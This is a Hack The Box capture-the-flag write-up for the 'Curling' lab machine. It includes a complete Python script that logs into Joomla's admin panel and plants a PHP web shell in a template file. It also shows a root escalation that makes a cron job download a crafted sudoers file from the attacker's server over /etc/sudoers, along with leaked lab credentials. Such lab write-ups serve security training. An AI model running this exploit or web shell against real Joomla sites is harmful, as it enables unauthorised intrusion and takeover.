Hack The Box: Curling write-up
Post
Cancel

Hack The Box: Curling machine write-up

This wasn’t a really difficult machine, but rather quite easy. The beginning consisted of finding a file called secret.txt, which was the password of a user. Then, logging to an admin panel we gain RCE to get ssh credentials. Finally, a cronjob allows us to get to root. Simple! Let’s start!

The machine is running on port 10.10.10.150.

Enumeration

Firstly, I enumerate open ports to discover the services running in the machine (I added curling’s IP to my /etc/hosts as access):

1 nmap -sV -sC -oA nmap/initial curling 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Nmap 7.01 scan initiated Fri Nov 16 09:26:06 2018 as: nmap -sV -sC -oA nmap/initial curling Nmap scan report for curling (10.10.10.150) Host is up (0.028s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) |_ 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 16 09:29:17 2018 -- 1 IP address (1 host up) scanned in 190.42 seconds 

Web service

Main page

Discovering a user

Since the logo of the tab was that of Joomla, I tried to check if there was an admin panel. And indeed there was!

So I knew that the username was Floris, I only needed to find the password. And as there was a web server and the name of the machine was curling, I decided to do a curl on the machine.

Curl output

Looks like we found something interesting. It turns out to be a password base64 encoded:

Contents of secret.txt

So credentials are Floris:Curling2018!. Then I tried to log in to the admin panel.

And we are in! Now we just need a way of getting RCE. I could have modified any PHP script in order to do so, but I found a python script that automated this for me (a bit lazy I know).

I modified it a bit to include my credentials and the URL and good to go!

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 #!/usr/bin/env python # joomla_shellup.py - small script to upload shell in Joomla # # 02.05.2017, rewrited: 27.05 # -- hint -- # To exploit this "feature" you will need valid credentials.' # Based on latest (3.6.5-1) version.' # Tested also on: 3.7.x import requests import re target = "http://10.10.10.150" print '[+] Checking: ' + str(target) # initGET session = requests.session() initlink = target + '/administrator/index.php' initsend = session.get(initlink) initresp = initsend.text find_token = re.compile('[a-fA-F0-9]{32}') found_token = re.findall(find_token, initresp) if found_token: initToken = found_token[-1] print '[+] Found init token: ' + initToken print '[+] Preparing login request' data_login = { 'username':'Floris', 'passwd':'Curling2018!', 'lang':'', 'option':'com_login', 'task':'login', 'return':'aW5kZXgucGhw', initToken:'1' } data_link = initlink doLogin = session.post(data_link, data=data_login) loginResp = doLogin.text print '[+] At this stage we should be logged-in as an admin :)' uplink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D' filename = 'jsstrings.php' print '[+] File to change: ' + str(filename) getnewtoken = session.get(uplink) getresptoken = getnewtoken.text newToken = re.compile('[a-fA-F0-9]{32}') newFound = re.findall(newToken, getresptoken) if newFound: newOneTok = newFound[-1] print '[+] Grabbing new token from logged-in user: ' + newOneTok getjs = target+'/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D' getjsreq = session.get(getjs) getjsresp = getjsreq.text # print getjsresp print '[+] Shellname: ' + filename shlink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA=' shdata_up = { 'jform[source]':'<?php system($_GET["x"]);', 'task':'template.apply', newOneTok:'1', 'jform[extension_id]':'503', 'jform[filename]':'/'+filename } shreq = session.post(shlink, data=shdata_up) path2shell = '/templates/beez3/jsstrings.php?x=id' print '[+] Shell is ready to use: ' + str(path2shell) print '[+] Checking:' shreq = session.get(target + path2shell) shresp = shreq.text print shresp print '\n[+] Module finished.'  Executing the python script I couldn’t read user.txt as I was only www-data so I decided to focus on password_backup, which turns out to be a bzip2 file (by the file headers). 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 parallels@ubuntu:~/Desktop/Curling$ cat backup.bz2 00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%... 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. 00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.F...s." 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P. 000000f0: 819b bb48 

I extracted the contents as raw hex and then wrote them in a file with a hex editor.

1 425a6839314159265359819bbb48000017fffffc41cf05f95029617661cc3a344edccccc6e11540023ab4025f802196020180ca000921c7a8340000000000000068069883468646989a6d439ea68c800000f51a00064681a069ea190000000346900078135016e18c2d78c98874a13a00868ae19c02ab0c17d792ec23c7e9d78f53e0809f0735654c27a4886dfa2e931c856921b122133856046a2ddc1730d22b9966ed40cdb87376a3a58ea64115290ad6bb12f081381208205a5f52970c50337dbab3be000ef85f439a414885018438259be5009861e4842d513ea1c2a098c8a47ab1d20a7554072ff177245385090819bbb48 
1 2 parallels@ubuntu:~/Desktop/Curling\$ file backup_hex.bz2 backup_hex.bz2: bzip2 compressed data, block size = 900k 

I needed to decompress the data multiple times until I got the password.

Decompressing the data to get the password

And we get that the password is 5d<wdCbdZu)|hChXll.

Getting user

At this point getting user was really easy, just log in through SSH with Floris:5d<wdCbdZu)|hChXll.

Getting user hash

Getting root

Getting root wasn’t difficult either. I decided to have a look at admin-area, where there were two files:

Doing some recon

The report file was just the HTML from the homepage of the blog. My guess was that there was some kind of cronjob getting the contents of the URL in input and then outputting everything to report. I also noticed that the two files had been modified one minute ago, so that made my theory plausible.

I tried to modify the contents of input to get the root hash by using file:///root/root.txt and to my surprise it worked like a charm!

Getting root hash

Getting to root user

I was bothered for not being able to get a root shell, so after a while I came up with something.

It basically consisted of crafting a sudoers file and serving it locally for the cronjob to get. Then, modify input in order to save the file in /etc/sudoers and just do sudo su to get root!

1 2 3 # User privilege specification root ALL=(ALL:ALL) ALL floris ALL=(ALL) NOPASSWD:ALL 

I served it with python -m SimpleHTTPServer 8001 and changed the contents of input to:

1 2 url = "http://10.10.15.185:8001/sudoers" output = "/etc/sudoers" 

Getting root user

Seeing the default.txt file arose my curiosity, so I decided to check the cronjob thing with crontab -l:

cronjob

It turns out that curl can have a -K flag which supplies a configuration file. I didn’t know that!

And that’s all! I hope you enjoyed and learnt something useful!